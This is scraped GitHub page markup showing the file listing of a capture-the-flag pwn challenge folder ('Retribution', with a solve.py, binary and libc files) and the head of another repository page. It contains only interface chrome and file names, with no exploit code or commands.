<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/GonTanaka/CTF-Writeups/refs" cache-key="v0:1655044557.692943" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="R29uVGFuYWthL0NURi1Xcml0ZXVwcw==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>Cyber_Apocalypse2022</span></span><span>/</span><span><span>pwn</span></span><span>/</span>Retribution<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>Cyber_Apocalypse2022</span></span><span>/</span><span><span>pwn</span></span><span>/</span>Retribution<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/GonTanaka/CTF-Writeups/tree-commit/43ab77611a7db8f4eae3fde0cc50c0e1e81cefde/Cyber_Apocalypse2022/pwn/Retribution" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/GonTanaka/CTF-Writeups/file-list/main/Cyber_Apocalypse2022/pwn/Retribution"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>ld-2.23.so</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>libc.so.6</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>sp_retribution</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>PWN-Challenges/cyber-apocalypse2022/fleet_management at main · vital-information-resource-under-siege/PWN-Challenges · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
